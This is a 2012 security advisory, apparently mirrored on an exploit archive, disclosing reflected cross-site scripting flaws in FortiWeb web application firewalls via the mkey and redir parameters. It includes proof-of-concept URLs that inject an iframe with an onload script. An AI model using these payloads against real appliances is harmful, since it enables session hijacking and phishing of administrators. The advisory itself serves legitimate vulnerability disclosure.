exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

FortiWeb 4kC / 3kC / 1kC / VA Cross Site Scripting

FortiWeb 4kC / 3kC / 1kC / VA Cross Site Scripting
Posted Dec 2, 2012
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

FortiWeb 4kC, 3kC, 1kC, and VA suffer from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
SHA-256 | 5d8791510005db609860f121f01734f6381fe3efd60286696fed8bed6b9f3306

FortiWeb 4kC / 3kC / 1kC / VA Cross Site Scripting

Change Mirror Download
Title:
======
FortiWeb 4kC,3kC,1kC & VA - Cross Site Vulnerabilities


Date:
=====
2012-12-01


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=702


VL-ID:
=====
702


Common Vulnerability Scoring System:
====================================
2.1


Introduction:
=============
FortiWeb web application firewalls protect, balance, and accelerate your web applications, databases, and any
information exchanged between them. Whether you are protecting applications delivered over a large enterprise,
service provider, or cloud-based provider network, FortiWeb appliances will reduce deployment time and
simplify security management. Fortinet s FortiWeb™ has passed ICSA Web Application Firewall Certification.
The latest model being tested is FortiWeb 1000C. ICSA Labs certifications are evidence of FortiWeb s commitment
to uphold the industry s highest security standards. Achieving this certification ensures that FortiWeb™ customers
benefit from best practices in the security industry for all their Web application needs.

(Copy of the Vendor Homepage: http://www.fortinet.com/products/fortiweb/ )



Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple cross site scripting vulnerabilities in
Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.


Report-Timeline:
================
2012-10-01: Researcher Notification & Coordination
2012-10-11: Vendor Notification
2012-10-05: Vendor Response/Feedback
2012-11-11: Vendor Fix/Patch
2012-12-01: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Fortinet
Product: FortiWeb Application Series v4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
A non persistent cross site scripting vulnerability is detected in Fortinets FortiWeb 4000C, 3000C/3000CFsx, 1000C, 400C & Virtual Appliance.
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with low or medium required user inter action
and without local privileged application user account. The vulnerability is located in the Regular Expression - Validation (pcre_expression/validate)
module with the bound vulnerable redir and mkey parameters. Successful exploitation results in client side account steal, client side phishing &
client-side appliance module context request manipulation.


Vulnerable Module(s):
[+] Regular Expression - Validation Module (pcre_expression/validate)

Vulnerable Parameter(s):
[+] redir
[+] mkey


Proof of Concept:
=================
The client side cross site scripting vulnerability can be exploited by remote attackers without application user account and
with medium required user interaction. For demonstration or reproduce ...

Code Review: Regular Expression - Validation Module (mkey & redir)

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close();
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22"
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>

... or

<tr><td>
<table class="footer" cellpadding="0" cellspacing="0">
<tr><td>
<input class="button" type="button" value="Return" onclick="if (window.opener) {window.close();
} else {document.location='/waf/pcre_expression/validate'}">
</td></tr>
</table>
</td></tr>
<input type="hidden" name="mkey" size="22" maxlength="22"
value="0"><[CLIENT SIDE SCRIPT CODE EXECUTION!]") <">
<input type="hidden" name="validated" value="-1">
<input type="hidden" name="redir" value="/success">
</form>
</table>
</td>



PoC:
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success&mkey=0%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C
https://fortiweb.127.0.0.1:1336/waf/pcre_expression/validate?redir=/success%20%22%3E%3Ciframe%20src=http://vuln-lab.com%20onload=alert%28%22VL%22%29%20%3C&mkey=0


Solution:
=========
The vulnerability can be patched by parsing all mkey and redir success parameter requests of the vulnerable Regular Expression - Validation module.

2012-11-11: Vendor Fix/Patch


Risk:
=====
The security risk of the non persistent cross site scripting vulnerabilities are estimated as low(+)|(-)medium.


Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)


Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

Copyright © 2012 | Vulnerability Laboratory



--
VULNERABILITY RESEARCH LABORATORY
LABORATORY RESEARCH TEAM
CONTACT: research@vulnerability-lab.com

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close